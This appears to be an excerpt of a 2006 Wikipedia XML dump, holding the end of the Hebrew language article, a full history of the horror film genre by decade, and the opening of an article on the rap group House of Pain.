*Izre'el, Shlomo, &quot;The emergence of Spoken Israeli Hebrew&quot;, in: Benjamin Hary (ed.), ''The Corpus of Spoken Israeli Hebrew (CoSIH): Working Papers I'' (2001) [http://www.tau.ac.il/humanities/semitic/cosih.html]
*Kuzar, Ron, ''Hebrew and Zionism: A Discourse Analytic Cultural Study''. Berlin &amp; New York: Mouton de Gruyter 2001. ISBN 3-11-016993-2, ISBN 3-11-016992-4.
* [http://www.amazon.com/exec/obidos/tg/detail/-/0521556341 Sáenz-Badillos, Angel, ''A History of the Hebrew Language''  (trans. John Elwolde).  Cambridge, England:  Cambridge University Press.]  ISBN 0521556341

==External links==  

{{InterWiki|code=he}}
{{wikibookspar||Hebrew}} 
*[http://www.ethnologue.org/show_language.asp?code=heb Ethnologue report for Hebrew]  
*[http://hebrew-academy.huji.ac.il/english.html Academy of Hebrew Language], the Institute which prescribes standards for modern Hebrew grammar, orthography, transliteration, and punctuation based upon the study of Hebrew's historical development.  
*History of the Hebrew Language  
**[http://www.adath-shalom.ca/history_of_hebrew.htm History of the Hebrew Language Steinberg]   
**[http://www.adath-shalom.ca/rabin_he.htm Short History of the Hebrew Language Rabin]  
**[http://www.adath-shalom.ca/israeli_hebrew_tene.htm Israeli Hebrew Tene]  
**[http://www.adath-shalom.ca/israel_lang_policy_rosen.htm Israel Language Policy and Linguistics Rosén]  
**[http://www.adath-shalom.ca/hebrew_words_history.htm Words and their History Kutscher]  
**[http://www.adath-shalom.ca/hebrew_slang_sappan.htm Hebrew Slang and Foreign Loan Words Sappan ]  
*Grammars  
**[http://foundationstone.com.au/HtmlSupport/FrameSupport/onlineHebrewTutorialFrame.html Online Hebrew Tutorial] (foundationstone)  
**[http://perso.wanadoo.fr/babel-site/ Hebrew is easy] (babel-site)  
**[http://www.adath-shalom.ca/gk_cont.htm Gesenius' Hebrew Grammar]   
**[http://www.hebrew-verbs.co.il Learn Hebrew Verbs]   
*Dictionaries  
**[http://www.hebrewatmilah.org/maskilon1/index.htm Root-based] (Maskilon)   
**[http://milon.morfix.co.il/ Word-search] English-Hebrew and Hebrew-English (Morfix)  
**[http://www.hebrewatmilah.org/maskilon3/index.htm Hebrew-English] (Maskilon)   
**[http://www.faithofgod.net/davar/ Hebrew-English] (DAVAR freeware, english)   
**[http://www.websters-online-dictionary.org/definition/Hebrew-english/ Hebrew-English] (Webster's Rosetta Edition)   
**[http://www.hebrewatmilah.org/maskilon4/index.htm English-Hebrew] (Maskilon)
**[http://www.dictionary.co.il English-Hebrew] (My Hebrew Dictionary)
*General
**[http://www.yiwoodmere.org/library/cybrary/hebrew.html Learning Hebrew - Links], Young Israel
**[http://www.yomanim.com Hebrew Writings and Diaries]
**[http://infoshare1.princeton.edu/katmandu/hebrew/atoc.html Hebrew Abbreviations], [[Princeton University]] Library
**[http://www.mikledet.com Mikledet.com]: Send Hebrew emails without having a Hebrew keyboard.
**[http://www.amhaaretz.org/translit/ Hebrew translit]: type in Hebrew using an English keyboard

{{Jewish language}}

[[Category:Canaanite languages]]
[[Category:Guttural R]]
[[Category:Hebrew language|*]]
[[Category:Judaism]]
[[Category:Languages of Israel]]
[[Category:Semitic languages]]

[[ang:Hebrēisc sprǣc]]
[[ar:لغة عبرية]]
[[bg:Иврит]]
[[br:Hebraeg]]
[[bs:Hebrejski jezik]]
[[ca:Hebreu]]
[[cs:Hebrejština]]
[[cy:Hebraeg]]
[[da:Hebraisk (sprog)]]
[[de:Hebräische Sprache]]
[[el:Εβραϊκή γλώσσα]]
[[eo:Hebrea lingvo]]
[[es:Idioma hebreo]]
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[[simple:Hebrew language]]
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[[zh:希伯来语]]</text>
    </revision>
  </page>
  <page>
    <title>Horror film</title>
    <id>13451</id>
    <revision>
      <id>42097618</id>
      <timestamp>2006-03-03T20:36:27Z</timestamp>
      <contributor>
        <username>Tsemii</username>
        <id>68682</id>
      </contributor>
      <minor />
      <comment>+fi:</comment>
      <text xml:space="preserve">[[Image:UniversalHorrorCharacters.jpg|right|thumb|225px|DVD cover showing horror characters as depicted by [[Universal Studios]]. [[Elsa Lanchester]] from ''[[Bride of Frankenstein]]'' (1935), [[Claude Rains]] from ''[[The Invisible Man (movie)|The Invisible Man]]'' (1933), [[Bela Lugosi]] from ''[[Dracula (1931 film)|Dracula]]'' (1931), Claude Rains from ''[[Phantom of the Opera (1943 movie)|Phantom of the Opera]]'' (1943), &quot;The Creature&quot; from ''[[Creature from the Black Lagoon]]'' (1954), [[Boris Karloff]] from ''[[Frankenstein (1931 film)|Frankenstein]]'' (1931), [[Lon Chaney Jr.]] from ''[[The Wolf Man]]'' (1941) and Boris Karloff from ''[[The Mummy (1932 movie)|The Mummy]]'' (1932)]]

In film, the '''horror''' [[cinematic genre|genre]] is characterized by the attempt to make the viewer experience [[dread]], [[fear]], [[fear#Terror|terror]], [[disgust]] or [[horror (emotion)|horror]]. Its plots often involve the intrusion of an [[evil]] force, event, or personage, sometimes of [[supernatural]] origin, into the mundane world.
  
Some of the most common elements include [[vampire]]s, [[zombie]]s (and other forms of [[Undead|resurrected corpses]]), [[werewolf|werewolves]], ancient [[curse|curses]], [[ghost]]s, [[demon|demons]] and/or [[spiritual possession|demonic possession]], [[Satanism]], [[devil-child movies|evil children]], '[[slasher film|slasher villain]]s', vicious animals, inanimate objects brought to life by [[black magic]] or [[mad scientist|twisted science]], [[haunted house]]s, [[cannibalism|cannibals]], and malicious [[extraterrestrials]]. The [[serial killer]] movie is sometimes regarded as part of the horror genre.

Specific stories and characters, often derived from classic literature, have also proven popular, and have inspired many [[sequel]]s, [[remake]]s, and copycats. These include [[Dracula]], [[Frankenstein]], [[The Mummy]], [[The Wolf Man]], [[The Phantom of the Opera]] and [[Dr. Jekyll and Mr. Hyde]].

The horror film is often associated with low budgets and [[exploitation film|exploitation]], but major studios and well-respected [[film director|director]]s have made intermittent forays into the genre. The genre's marginal status has caused it to receive much critical dismissal or moral condemnation over the course of film history. However, during the past few decades new generations of critics - more inclined to take popular genres seriously - have given horror substantial attention and analysis, especially with regard to its perceived subversive content.  Over the same period, it has become more than ever a source of controversy, as its level of graphic violence has increased and accusations of [[misogyny]] have been leveled, especially by [[feminist]] critics.

Some horror films owe a substantial amount to other genres, particularly [[science fiction films|science fiction]], [[fantasy film|fantasy]] and the [[thriller film|thriller]].  The lines between horror and these other categories are often a subject of debate among fans and critics.

== History ==

=== Early milestones===
[[Image:NosferatuShadow.jpg|thumb|250 px|1922's ''Nosferatu'']]
The horror genre is nearly as old as film itself.  The first depictions of supernatural events appear in several of the silent shorts created by film pioneers such as [[Georges Méliès]] in the late [[1890s]], the most notable being his [[1896 in film|1896]] ''Le Manoir du Diable'' (aka &quot;The Devil's Castle&quot;) which is sometimes credited as being the first horror film. Another of his horror projects was the [[1898 in film|1898]] ''La Caverne maudite'' (aka &quot;The Cave of the Demons&quot;). [http://pages.emerson.edu/organizations/fas/latent_image/issues/1990-05/horror.htm]

The early 20th century brought more milestones for the horror genre including the first monster to appear in a full-length horror film, [[Quasimodo]], the hunchback of Notre-Dame who had appeared in [[Victor Hugo]]'s book, &quot;[[The Hunchback of Notre Dame|Notre-Dame de Paris]]&quot; (published in [[1831 in literature|1831]]). Films featuring Quasimodo included [[Alice Guy]]'s ''Esmeralda'' ([[1906 in film|1906]]), ''The Hunchback'' ([[1909 in film|1909]]), ''The Love of a Hunchback'' ([[1910 in film|1910]]) and ''Notre-Dame de Paris'' ([[1911 in film|1911]]). [http://www.moria.co.nz/horror/hunchback39.htm]
      
Many of the earliest feature length 'horror films' were created by [[Cinema of Germany|German]] film makers in [[1910]]s and [[1920s]], many of which were a significant influence on later Hollywood films. [[Paul Wegener]]'s ''[[The Golem (film)|The Golem]]'' ([[1915 in film|1915]]) was seminal; in [[1919 in film|1919]] [[Robert Wiene]]'s ''[[The Cabinet of Dr. Caligari]]'' was both controversial with American audiences, due to postwar sentiments, and influential in its [[German Expressionism|Expressionistic]] style; the most enduring horror film of that era was probably the first vampire-themed feature, [[F. W. Murnau]]'s ''[[Nosferatu]]'' ([[1922 in film|1922]]), an unauthorized adaptation of [[Bram Stoker]]'s ''[[Dracula]]''. [http://silentmoviemonsters.tripod.com/germanexpressionism.html]

Early [[Hollywood]] dramas dabbled in horror themes, including versions of ''[[The Hunchback of Notre Dame (1923 film)|The Hunchback of Notre Dame]]'' ([[1923 in film|1923]]) and ''[[The Monster]]'' ([[1925 in film|1925]]) (both starring [[Lon Chaney, Sr.]], the first [[United States|American]] horror [[movie star]]). His most famous role, however, was in ''[[The Phantom of the Opera (1925 film)|The Phantom of the Opera]]'' (1925), perhaps the true predecessor of [[Universal Horror|Universal's famous horror series]]. [http://www.filmsite.org/horrorfilms.html]

=== 1930s &amp; 1940s ===
[[Image:Catpeople.jpg|left|thumb|Poster art for ''[[Cat People (1942 film)|Cat People]]'' (1942)]]
It was in the early [[1930s]] that [[United States|American]] [[Movie studio|film producers]], particularly [[Universal Studios|Universal Pictures Co. Inc.]], popularized the horror film, bringing to the screen a series of successful [[Gothic novel|Gothic]] features including ''[[Dracula (1931 film)|Dracula]]'' ([[1931 in film|1931]]), and ''[[The Mummy (1932 film)|The Mummy]]'' ([[1932 in film|1932]]), some of which blended [[science fiction film]]s with Gothic horror, such as [[James Whale]]'s ''[[Frankenstein (1931 film)|Frankenstein]]'' (1931) and ''[[The Invisible Man (movie)|The Invisible Man]]'' ([[1933 in film|1933]]).  These films, while designed to thrill, also incorporated more serious elements, and were influenced by the German expressionism of the [[1920s]].  Some actors began to build entire careers in such films, most notably [[Boris Karloff]] and [[Bela Lugosi]].

Other studios of the day had less spectacular success, but [[Rouben Mamoulian]]'s ''[[Dr. Jekyll and Mr. Hyde (1931 film)|Dr. Jekyll and Mr. Hyde]]'' ([[Paramount Pictures|Paramount]], 1931) and [[Michael Curtiz]]'s ''[[Mystery of the Wax Museum]]'' ([[Warner Brothers]], 1933) were both important horror films.

Universal's horror films continued into the [[1940s]] with ''[[The Wolf Man]]'' [[1941 in film|1941]], not the first [[werewolf]] film, but certainly the most influential. Throughout the decade Universal also continued to produce more sequels in the ''[[Frankenstein]]'' series, as well as a number of films teaming up several of their monsters. Also in that decade, [[Val Lewton]] would produce a series of influential and atmospheric [[B-movie|B-pictures]] for [[RKO Pictures]], including ''[[Cat People (1942 film)|Cat People]]'' ([[1942 in film|1942]]), ''[[I Walked with a Zombie]]'' ([[1943 in film|1943]]) and ''[[The Body Snatcher (film)|The Body Snatcher]]'' ([[1945 in film|1945]]).

=== 1950s ===

With the dramatic changes in technology that occurred in the [[1950s]], the tone of horror films shifted away from the gothic and further toward science fiction. A seemingly endless parade of low-budget productions featured humanity overcoming threats from &quot;outside&quot;: [[alien invasion]]s and deadly [[mutation]]s to people, plants, and insects. These films provided ample opportunity for audience exploitation, with gimmicks such as [[3-D film|3-D]] and &quot;Percepto&quot; (producer [[William Castle]]'s electric-shock technique used for [[1959 in film|1959]]'s ''[[The Tingler]]'') drawing audiences in week after week for bigger and better scares. The classier horror films of this period, including ''[[The Thing from Another World]]'' ([[1951 in film|1951]]; attributed on screen to [[Christian Nyby]] but widely considered to be the work of [[Howard Hawks]]) and [[Don Siegel]]'s ''[[Invasion of the Body Snatchers]]'' ([[1956 in film|1956]]) managed to channel the [[paranoia]] of the [[Cold War]] into atmospheric creepiness without resorting to direct exploitation of the events of the day. Filmmakers would continue to merge elements of science fiction and horror well into the future. [http://www.findarticles.com/p/articles/mi_m0412/is_1_29/ai_73036226] 

The late 1950s and early [[1960s]] saw the rise of studios centered specifically around horror. Notable were [[United Kingdom|British]] production company [[Hammer Horror|Hammer Films]], which specialized in bloody remakes of classic horror stories often starring [[Peter Cushing]] and [[Christopher Lee]], including ''[[The Curse of Frankenstein]]'' ([[1957 in film|1957]]) and ''[[Dracula (1958 film)|Dracula]]'' ([[1958 in film|1958]]). Hammer, and director [[Terence Fisher]], are widely acknowledged as pioneers of the modern horror movie. 

[[American International Pictures]] (AIP) also made a series of [[Edgar Allan Poe]] themed films produced by [[Roger Corman]] and starring [[Vincent Price]]. These sometimes controversial productions paved the way for more explicit violence in both horror and mainstream films.

=== 1960s ===

[[image:Nightofthelivingdead_screenshot.jpg|right|thumb|300px|A young [[zombie]] and her victim, from ''[[Night of the Living Dead]]'' (1968)]]

In the 1960s the genre moved towards &quot;[[psychological horror]]&quot;, with thrillers such as [[Alfred Hitchcock]]'s ''[[Psycho]]'' ([[1960 in film|1960]]) using all-too-human monsters rather than [[supernatural]] ones to scare the audience; [[Michael Latham Powell|Michael Powell]]'s ''[[Peeping Tom (film)|Peeping Tom]]'' (1960) was a notable example of this. Psychological horror films would continue to appear sporadically, with [[1991 in film|1991]]'s ''[[The Silence of the Lambs]]'' a later highlight of the subgenre (although these films can also be considered [[crime film]]s or [[thriller film|thrillers]]).

[[Ghost]]s and [[monster]]s still remained popular: ''[[The Innocents (movie)|The Innocents]]'' ([[1961 in film|1961]]) and ''[[The Haunting (1963 film)|The Haunting]]'' ([[1963 in film|1963]]) were two supernaturally-tinged psychological horror films from the early 1960s, with high production values and [[gothic novel|gothic]] atmosphere. Hitchcock's ''[[The Birds (film)|The Birds]]'' (1963) had a more modern backdrop; it was a prime example of &quot;nature-goes-mad&quot; menace combined with psychological horror. 

Low-budget [[splatter film|gore-shock]] films from the likes of [[Herschell Gordon Lewis]] also appeared. Examples included 1963's ''[[Blood Feast]]'' (a [[devil]]-cult story) and [[1964 in film|1964]]'s ''[[Two Thousand Maniacs]]'' (a [[ghost town]] run by the shades of [[Southern United States|Southerners]]), which featured splattering blood and bodily [[dismemberment]].  

One of the most influential horror films of the late 1960s was [[George Romero]]'s ''[[Night of the Living Dead]]'' ([[1968 in film|1968]]). This [[zombie]] film was later deemed &quot;culturally, historically or aesthetically significant&quot; enough to be preserved by the [[National Film Registry]]. Blending psychological thriller with gore, it moved the genre even further away from the gothic horror trends of earlier eras and brought horror into the lives of ordinary modern people. [http://www.loc.gov/film/titles.html]

=== 1970s ===
With the demise of the [[Production Code|Production Code of America]] in [[1964 in film|1964]], and the financial successes of the low-budget gore films churned out in the ensuing years, plus an increasing public fascination with the [[occult]], the genre was able to be reshaped by a series of intense, often gory horror movies with sexual overtones, made as &quot;A-movies&quot; (as opposed to &quot;[[B-movie]]s&quot;). Many of these films were made by respected [[auteur]]s. [http://www.filmsite.org/horrorfilms2.html]

[[Roman Polanski]]'s ''[[Rosemary's Baby]]'' (1968) was a critical and popular success, and a precursor to the [[1970s]] occult explosion, which included ''[[The Exorcist]]'' ([[1973 in film|1973]]) (directed by [[William Friedkin]] and written by [[William Peter Blatty]], who also wrote the novel), and scores of other horror films in which the [[Satan|Devil]] became the supernatural evil, often by impregnating women or possessing children. [[Devil-child movies|Evil children]] and [[reincarnation]] became popular subjects (such as [[Robert Wise]]'s [[1977 in film|1977]] [[United Artists]] film ''[[Audrey Rose]]'', which dealt with a man who claims his daughter is the reincarnation of another dead person). Another well recognized religious horror movie was ''[[The Omen]]'' (1976), where a man realizes that his five year old adopted son is the [[Antichrist]]. Being by [[doctrine]] invincible to solely human intervention, Satan-villained films also cemented the relationship between horror film, [[postmodernism|postmodern]] style and a [[dystopian]] worldview.

The &quot;[[new age]]&quot; ideas of the [[1960s]] [[hippies]] began to influence horror films, as the youth previously involved in the [[counterculture]] began exploring the medium. [[Wes Craven]]'s ''[[The Last House on the Left]]'' ([[1972 in film|1972]]) and [[Tobe Hooper]]'s ''[[The Texas Chain Saw Massacre]]'' ([[1974 in film|1974]]) both recalled the horrors of the [[Vietnam war]] and pushed comfortable liberal boundaries to the edge; [[George Romero]] examined the rise of the new [[consumer]] society in his [[1978 in film|1978]] zombie [[sequel]], ''[[Dawn of the Dead (1978 film)|Dawn of the Dead]]''; Canadian director [[David Cronenberg]] updated the &quot;[[mad scientist]]&quot; movie subgenre by exploring contemporary fears about technology and society, and reinventing &quot;[[body horror]]&quot;, starting with ''[[Shivers (movie)|Shivers]]'' ([[1975 in film|1975]]). [http://www.acmi.net.au/1F6B9E88D95C48FCA5239678F1BBC8C6.htm]

[[Image:halloween2.jpg|left|thumb|Michael Myers, unstoppable psycho-killer from ''[[Halloween (movie)|Halloween]]'' (1978)]]

Also in the [[1970s]], horror author [[Stephen King]], a child of the 1960s, first arrived on the film scene. Adaptations of many of his books came to be filmed for the screen, beginning with [[Brian DePalma]]'s adaptation of King's first published novel, ''[[Carrie]]'' ([[1976 in film|1976]]), which went on to be nominated for [[Academy Awards]], although it has often been noted that its appeal was more for its psychological exploration as for its capacity to scare. And [[John Carpenter]], who had previously directed [[stoner film|stoner comedy]] ''[[Dark Star (film)|Dark Star]]'' ([[1974 in film|1974]]), created the hit ''[[Halloween (film)|Halloween]]'' ([[1978 in film|1978]]), introducing the teens-threatened-by-invincible-superhuman-evil theme, and kick-starting the &quot;[[slasher film]]&quot;. This subgenre would be mined by dozens of increasingly violent movies throughout the subsequent decades.  

[[1979 in film|1979]]'s ''[[Alien (film)|Alien]]'' combined the naturalistic acting and graphic violence of the 1970s with the monster movie plots of earlier decades, and re-acquainted horror with [[science fiction film|science fiction]]. It spawned a long-lasting franchise, and countless imitators, over the next 30 years.

At the same time, there was an explosion of horror films in [[Europe]], particularly from the hands of [[Cinema of Italy|Italian filmmakers]] like [[Mario Bava]], [[Dario Argento]] and [[Lucio Fulci]], and [[Cinema of Spain|Spanish filmmakers]] like [[Jacinto Molina]] (aka Paul Naschy) and [[Jesus Franco]], which were dubbed into English and filled [[drive-in theater]]s that could not necessarily afford the expensive rental contracts of the major American producers.  These films generally featured more traditional horror subjects - e.g. [[vampires]], [[werewolves]], [[serial killer|psycho-killers]], [[demons]], [[zombies]] - but treated them with a distinctive European style that included copious gore and sexuality (of which mainstream American [[film producer|producers]] overall were still a little skittish). Notable national outputs were the &quot;[[giallo]]&quot; films from Italy, the [[Jean Rollin]] romantic/erotic films from [[Cinema of France|France]], and the anthology films of [[Amicus Productions|Amicus]] from the [[Cinema of the United Kingdom|UK]]. [http://www.brightlightsfilm.com/32/eurohorror.html]

Meanwhile, in [[Cinema of Hong Kong|Hong Kong]], filmmakers were starting to be inspired by Hammer and Euro-horror to produce exploitation horror with a uniquely Asian twist. [[Shaw Studios]] produced ''Legend of the Seven Golden Vampires'' ([[1973 in film|1973]]) in collaboration with Hammer, then went on to start creating their own more original films. The genre boomed at the start of the [[1980s]], with [[Sammo Hung]]'s ''Close Encounters of the Spooky Kind'' ([[1981 in film|1981]]) launching the sub-genre of &quot;kung-fu comedy horror&quot;, a sub-genre prominently featuring [[hopping corpse]]s and tempting ghostly females known as [[fox spirit]]s, of which the best known examples were ''[[Mr. Vampire]]'' ([[1985 in film|1985]]) and ''[[A Chinese Ghost Story]]'' ([[1987 in film|1987]]). [http://www.greencine.com/static/primers/asianhorror1.jsp]

=== 1980s ===

Almost any successful [[1980s]] horror film received sequels. [[1982 in film|1982]]'s ''[[Poltergeist movies|Poltergeist]]'' (directed by [[Tobe Hooper]]) was followed by two sequels and a television series. The endless sequels to ''[[Halloween]]'', ''[[Friday the 13th (film)|Friday the 13th]]'' ([[1980 in film|1980]]), and Wes Craven's supernatural slasher ''[[A Nightmare on Elm Street]]'' ([[1984 in film|1984]]) were the popular face of horror films in the 1980s, a trend reviled by most critics.

Nevertheless, original horror films continued to appear sporadically: [[Clive Barker]]'s ''[[Hellraiser]]'' ([[1987 in film|1987]]) and [[Tom Holland]]'s ''[[Child's Play]]'' ([[1988 in film|1988]]) were both critically praised, although their success again launched multiple inferior sequels. 

As the cinema [[box office]] returns for serious, gory modern horror began to dwindle (as exemplified by John Carpenter's ''[[The Thing]]'' (1982)), it began to find a new audience in the growing [[home video]] market, although the new generation of films was less sombre in tone. ''[[Motel Hell]]'' ([[1980 in film|1980]]) and [[Frank Henenlotter]]'s ''[[Basket Case (film)|Basket Case]]'' (1982) were the first 1980s films to campily mock the dark conventions of the previous decade (zombie films like ''[[Night of the Living Dead]]'' and ''[[Dawn of the Dead]]'' had contained [[black comedy]] and [[satire]], but were in general more dark than funny).  [[Stuart Gordon]]'s ''[[Re-Animator]]'', [[Dan O'Bannon]]'s ''[[The Return of the Living Dead]]'', and [[Lloyd Kaufman]]'s ''[[The Toxic Avenger]]'' (all [[1985 in film|1985]]), soon followed.  In ''[[Evil Dead II]]'' (1987), [[Sam Raimi]]'s explicitly [[slapstick]] sequel to the relatively sober ''[[The Evil Dead]]'' ([[1981 in film|1981]]), the laughs were often generated by the gore, defining the archetypal [[splatter film|splatter]] comedy. New Zealand director [[Peter Jackson]] followed in Raimi's footsteps with the ultra-gory micro-budget feature ''[[Bad Taste]]'' (1987).

Horror films continued to cause controversy: in the UK, the growth in home video led to growing public awareness of horror films of the types described above, and concern about the ease of availability of such material to children. Many films were dubbed &quot;[[video nasties]]&quot; and banned. In the USA, ''[[Silent Night, Deadly Night]]'', a very controversial film from [[1984 in film|1984]], failed at theatres and was eventually withdrawn from distribution due to its subject matter: a killer [[Santa Claus]]. 

=== 1990s ===

[[Image:Blair witch project ver3.jpg|right|thumb|200px|Poster art for ''[[The Blair Witch Project]]'' (1999)]] 

In the first half of the [[1990s]], the genre continued with themes from the 1980s.  It managed mild commercial success with films such as continuing sequels to the ''[[Child's Play]]'' and ''[[Leprechaun (film)|Leprechaun]]'' series. The [[Cinema of Canada|Canadian film]] ''[[Cube (film)|Cube]]'' ([[1997 in film|1997]]) was perhaps one of the few horror films of the 1990s to be based around a relatively novel concept; it was able to evoke a wide range of different fears, and touched upon a variety of social themes (such as fear of [[bureaucracy]]) that had previously been unexplored.

However, the adolescent audience which had feasted on the blood and morbidity of the previous two decades had by now grown up, and the replacement audience for films of an imaginative nature were being captured instead by the explosion of [[science fiction film|science-fiction]] and heroic fantasy films laden with [[computer-generated imagery]] and nonstop violent action. [http://www.mediaknowall.com/Horror/eighties.html]

To re-connect with its audience, horror became more self-mockingly [[irony|ironic]] and outright [[parody|parodic]], especially in the latter half of the 1990s. Peter Jackson's ''[[Braindead (1992 film)|Braindead]]'' ([[1992 in film|1992]]) (known as ''Dead-Alive'' in the USA) took the [[splatter film]] to ridiculous excesses for comic effect. [[Francis Ford Coppola]]'s ''[[Bram Stoker's Dracula]]'' (1992), featured an ensemble cast and the style of a different era, harking back to the sumptuous look of [[1960s]] [[Hammer Horror]]. Wes Craven's ''[[Scream (film)|Scream]]'' movies, starting in [[1996 in film|1996]], featured teenagers who were fully aware of, and often made reference to, the history of horror movies, and mixed ironic humour with the shocks. It re-ignited the dormant [[slasher film]] genre. 

Among the popular English-language horror films of the late 1990s, only [[1999 in film|1999]]'s surprise independent hit ''[[The Blair Witch Project]]'' attempted straight-ahead scares. But even then, the horror was accomplished in the ironic context of a [[mockumentary]], or mock-documentary. Together with the international success of [[Hideo Nakata]]'s ''[[Ring (film)|Ringu]]'' in [[1997 in film|1997]], it launched a trend in horror films to go &quot;low-key&quot;, concentrating on more on unnerving and unsettling themes than on gore. [[M. Night Shyamalan]]'s ''[[The Sixth Sense]]'' (1999) was a spectacularly successful example.

===Millennial horror===

''Ringu'' launched a revival of serious horror filmmaking in [[Cinema of Japan|Japan]] (&quot;[[J-Horror]]&quot;) leading to such films as [[Shimizu_Takashi|Takashi Shimizu's]] ''[[Ju-on]]'' ([[2000 in film|2000]]) and [[Kiyoshi Kurosawa]]'s ''[[Pulse (film)|Pulse]]'' ([[2001 in film|2001]]).  Other advances in horror were in [[anime|Japanese animation]] (for example the gruesome '[[guro]]' animation), as [[Culture of Japan|Japanese culture]] reached new heights of popularity in the West (although the first horror-themed anime had begun appearing in the West by the late [[1980s]]).

The plundering of horror film history gained steam, including sequels, [[homage]]s and [[remake]]s of films long established from previous decades.  Some notable box office revivals included the merging of two old franchises in ''[[Freddy vs. Jason]]'' ([[2003 in film|2003]]), the re-imagining of the [[Universal Horror|Universal monsters]] in ''[[Van Helsing]]'' ([[2004 in film|2004]]), the [[Exorcist: The Beginning|prequel to ''The Exorcist'']], as well as further entries in the ''Halloween'' and ''Child's Play'' series. Remakes of previous successes included [[Gore Verbinski]]'s American version of ''Ringu'' (''[[The Ring]]'' ([[2002 in film|2002]])), and remakes of ''[[Dawn of the Dead (2004 film)|Dawn of the Dead]]'' (2004) and ''[[The Amityville Horror (2005 film)|The Amityville Horror]]'' ([[2005 in film|2005]]). The [[zombie]] genre enjoyed a revival around the world, fuelled, in part, by the success of the &quot;[[survival horror]]&quot; genre of videogames (themselves inspired by films). Some of these games were also turned into films (for example ''[[Resident Evil]]'' (2002)). [[Rob Zombie]]'s ''[[House of 1000 Corpses]]'' and [[Eli Roth]]'s ''[[Cabin Fever (film)|Cabin Fever]]'' were both homages to the horror films of the late 1970s and early 1980s, with the latter using [[body horror]] as its primary method of scare.

Original horror entries in the [[2000s]] were a mixed bag of teen [[Exploitation film|exploitation]] like the ''[[Final Destination]]'' movies, starting in 2000, and more serious attempts at mainstream horror, notably the further horror-suspense films of M. Night Shyamalan.

There was also a small revival in [[Cinema of the United Kingdom|British]] horror film production, with some of the more successful examples including ''[[28 Days Later]]'' (2002), ''[[Dog Soldiers]]'' (2002), ''[[Shaun of the Dead]]'' (2004) and ''[[The Descent]]'' (2005).

== Other notable items == 

=== Notable directors ===
*[[Dario Argento]]
*[[Tim Burton]]
*[[Clive Barker]]
*[[Mario Bava]]
*[[Tod Browning]]
*[[John Carpenter]]
*[[William Castle]]
*[[Larry Cohen]]
*[[Roger Corman]]
*[[Don Coscarelli]]
*[[Wes Craven]]
*[[David Cronenberg]]
*[[Sean S. Cunningham]] - also producer
*[[Ruggero Deodato]]
*[[Terence Fisher]] 
*[[Freddie Francis]]
*[[Jesus Franco]]
*[[Lucio Fulci]]
*[[John Gilling]]
*[[Stuart Gordon]]
*[[Michael Haneke]]
*[[Frank Henenlotter]]
*[[Alfred Hitchcock]]
*[[Tobe Hooper]]
*[[Peter Jackson]]
*[[Kiyoshi Kurosawa]]
*[[Herschell Gordon Lewis]]
*[[David Lynch]]
*[[Takashi Miike]]
*[[F.W. Murnau]]
*[[Hideo Nakata]]
*[[Sam Raimi]]
*[[George A. Romero]]
*[[James Whale]]
*[[Robert Wiene]]
*[[Jacques Tourneur]]
*[[Shinya Tsukamoto]]
*[[Ed Wood]]

=== Notable actors ===

''See also: [[List of scream queens]], [[List of final girls]]''

*[[Ralph Bates]]
*[[Doug Bradley]]
*[[Bruce Campbell]]
*[[John Carradine]]
*[[Lon Chaney, Sr.]]
*[[Lon Chaney, Jr.]]
*[[Jamie Lee Curtis]]
*[[Peter Cushing]]
*[[Robert Englund]]
*[[Michael Gough]]
*[[Lance Henriksen]]
*[[Boris Karloff]]
*[[Udo Kier]]
*[[Christopher Lee]]
*[[Peter Lorre]]
*[[Bela Lugosi]]
*[[Jack Nicholson]]
*[[Anthony Perkins]]
*[[Donald Pleasence]]
*[[Vincent Price]]
*[[Claude Rains]]
*[[Oliver Reed]]

===Notable studios===
*[[American International Pictures]]
*[[Amicus Productions|Amicus]]
*[[Dimension Films]]
*[[Hammer Film Productions]]
*[[New Line Cinema]]
*[[Tigon British Film Productions|Tigon]]
*[[Troma]]
*[[Universal Horror|Universal]]

== Bibliography ==
* ''A Pictorial History of Horror Movies'' (1973) - [[Denis Gifford]] 

==See also==
*[[Exploitation film]]
*[[Final Girl]]
*[[List of horror films]]
*[[List of horror film killers]]

== External links ==
{{cleanup-spam}}
*[http://framingbusiness.net/php/2005/americanhorror.php The Decline of American Horror]
*[http://www.greencine.com/static/primers/asianhorror1.jsp GreenCine primer on Hong Kong Horror Comedies]
*[http://www.the7thlevel.com/archives/000250.php The Top 100 Horror Films at The 7th Level]
*[http://www.imdb.com/chart/horror IMDB Entry on Best/Worst &quot;Horror&quot; Titles]
*[http://www.horrorfilmhistory.com Decade-by-decade guide to the horror film genre]

[[Category:Film genres]]
[[Category:Horror films|*]]

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    <title>House of Pain</title>
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      <comment>/* Everlast's failure and House of Pain's rise to stardom */</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}
:'''''The House of Pain''' is also a nickname for the [[Carisbrook (stadium)|Carisbrook]] stadium in [[Dunedin]], [[New Zealand]].''

'''House of Pain''' was a Irish-influenced Rap group who released three albums in the early to mid 90's before lead singer [[Everlast (singer)|Everlast]] decided to pursue his solo career again.
[[Image:Houseofpainandeverlastshamrocksandshenanigans.jpg|frame|H.O.P. on the Best Of Album cover]]

==Members==
* [[Everlast (singer)|Erik '''&quot;Everlast&quot;''' Schrody]] Vocals
* [[Danny Boy (singer)|Dan '''&quot;Danny Boy&quot;''' O’Conner]] Vocals
* [[DJ Lethal|Leor '''&quot;DJ Lethal&quot;''' Dimant]] DJ, Producer

==History==
===House of Pain's rise to stardom===
Erik '''Everlast''' Schrody was a teenaged hip-hop enthusiast, and his career started as a protégé of pioneering West Coast rapper [[Ice T]], who brought him into his &quot;Rhyme Syndicate&quot; fraternity.  Everlast was signed to Sire/Warner Bros. and released the solo album ''[[Forever Everlasting]]'' in 1990.  It was not a commercial success, but when he and friends [[Danny Boy (singer)|Dan '''Danny Boy''' O’Connor]] and [[DJ Lethal|Leor '''DJ Lethal''' Dimant]] signed to [[Tommy Boy Records]], House of Pain's [[House of Pain (Fine Malt Lyrics)|1992 self-titled group effort]] went multi-platinum off the hit single &quot;Jump Around&quot;. 

Fashioning themselves as rowdy Irish-American hooligans (Dimant was actually of Latvian heritage), they toured with various rap and alternative-rock bands after their breakthrough. They participated together with [[Helmet (band)|Helmet]], along with several other rap acts, on the influential rock-rap collaborative ''[[Judgment Night (film)|Judgment Night]]'' movie soundtrack of 1993.

===Sophomore Albums and decline in popularity===
